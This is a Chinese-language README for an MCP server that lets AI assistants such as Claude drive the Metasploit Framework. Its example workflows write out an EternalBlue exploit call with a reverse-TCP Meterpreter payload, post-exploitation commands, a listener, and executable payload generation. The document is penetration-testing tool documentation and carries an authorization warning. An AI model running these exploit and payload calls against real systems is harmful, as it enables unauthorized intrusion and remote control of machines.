Metasploit MCP Server

Metasploit MCP 服务

用于集成 Metasploit Framework 的模型上下文协议（MCP）服务。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

此 MCP 服务在 Claude 等大模型与 Metasploit Framework 渗透测试平台之间提供桥接。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能，从而以自然语言与复杂的安全测试工作流交互。

功能

模块信息

• list_exploits：搜索并列出可用的 Metasploit 漏洞利用模块
• list_payloads：搜索并列出可用的 Metasploit 载荷模块，并可按平台和架构筛选

漏洞利用工作流

• run_exploit：配置并针对目标执行漏洞利用，可选择先运行检查
• run_auxiliary_module：使用自定义选项运行任意 Metasploit 辅助模块
• run_post_module：针对现有会话执行后渗透模块

载荷生成

• generate_payload：使用 Metasploit RPC 生成载荷文件（在本地保存文件）

会话管理

• list_active_sessions：显示当前 Metasploit 会话及详细信息
• send_session_command：在活动 shell 或 Meterpreter 会话中运行命令
• terminate_session：强制结束活动会话

处理器管理

• list_listeners：显示所有活动处理器和后台任务
• start_listener：创建新的 multi/handler 以接收连接
• stop_job：终止任何正在运行的任务或处理器

前置条件

• 已安装 Metasploit Framework，且 msfrpcd 正在运行
• Python 3.10 或更高版本
• 所需的 Python 软件包（参见 requirements.txt）

安装

1. 克隆此仓库
2. 安装依赖项：

   pip install -r requirements.txt
   

3. 配置环境变量（可选）：

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

用法

启动 Metasploit RPC 服务：

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

传输方式

此服务支持两种传输方式：

• HTTP/SSE（服务器发送事件）：默认模式，可与大多数 MCP 客户端互操作
• STDIO（标准输入/输出）：用于 Claude Desktop 及类似的直接管道连接

你可以使用 --transport 标志显式选择传输模式：

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP 模式的其他选项：

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop 集成

要集成 Claude Desktop，请配置 claude_desktop_config.json：

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他 MCP 客户端

对于使用 HTTP/SSE 的其他 MCP 客户端：

1. 以 HTTP 模式启动服务：

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. 将 MCP 客户端配置为连接到：

   • SSE 端点：http://your-server-ip:8085/sse

安全注意事项

⚠️ 重要安全警告：

此工具可直接访问 Metasploit Framework 的功能，其中包括强大的漏洞利用功能。请负责任地使用，并且仅在获得明确授权进行安全测试的环境中使用。

• 执行前务必验证并审查所有命令
• 仅在隔离的测试环境中运行，或确保已获得适当授权
• 请注意，后渗透命令可能会对系统造成重大更改

示例工作流

基本漏洞利用

1. 列出可用的漏洞利用模块：list_exploits("ms17_010")
2. 选择并运行漏洞利用：run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. 列出会话：list_active_sessions()
4. 运行命令：send_session_command(1, "whoami")

后渗透

1. 运行后渗透模块：run_post_module("windows/gather/enum_logged_on_users", 1)
2. 发送自定义命令：send_session_command(1, "sysinfo")
3. 完成后终止会话：terminate_session(1)

处理程序管理

1. 启动监听器：start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. 列出活动处理程序：list_listeners()
3. 生成载荷：generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. 停止处理程序：stop_job(1)

测试

本项目包含全面的单元测试和集成测试，以确保可靠性和可维护性。

测试前提条件

安装测试依赖：

pip install -r requirements-test.txt

或者使用便捷安装程序：

python run_tests.py --install-deps
# OR
make install-deps

运行测试

快速命令

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定测试套件

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

测试选项

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

测试结构

• tests/test_options_parsing.py：选项宽容解析功能的单元测试
• tests/test_helpers.py：内部辅助函数和 MSF 客户端管理的单元测试
• tests/test_tools_integration.py：使用模拟的 Metasploit 后端对所有 MCP 工具进行的集成测试
• conftest.py：共享测试固件和配置
• pytest.ini：包含覆盖率设置的 Pytest 配置

测试特性

• 全面模拟：所有 Metasploit 依赖项均经过模拟，因此测试无需实际安装 MSF 即可运行
• 异步支持：使用 pytest-asyncio 全面支持 async/await 测试
• 覆盖率报告：提供详细的覆盖率分析和 HTML 报告
• 参数化测试：高效测试多种输入场景
• 固件管理：为常见的设置场景提供可重用的测试固件

覆盖率报告

运行带覆盖率的测试后，可在以下位置查看报告：

• 终端：测试运行后显示覆盖率摘要
• HTML：htmlcov/index.html（使用 --html 选项时）

CI/CD 集成

用于持续集成：

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

配置选项

载荷保存目录

默认情况下，使用 generate_payload 生成的载荷会保存到主目录下的 payloads 目录（~/payloads 或 C:\Users\YourUsername\payloads）。你可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。

设置环境变量：

• Windows（PowerShell）：

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows（命令提示符）：

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS：

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• 在 Claude Desktop 配置中：

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

**注意：**如果指定自定义路径，请确保该路径已存在，或应用程序有权限创建该路径。如果路径无效，载荷生成可能会失败。

许可证

Apache 2.0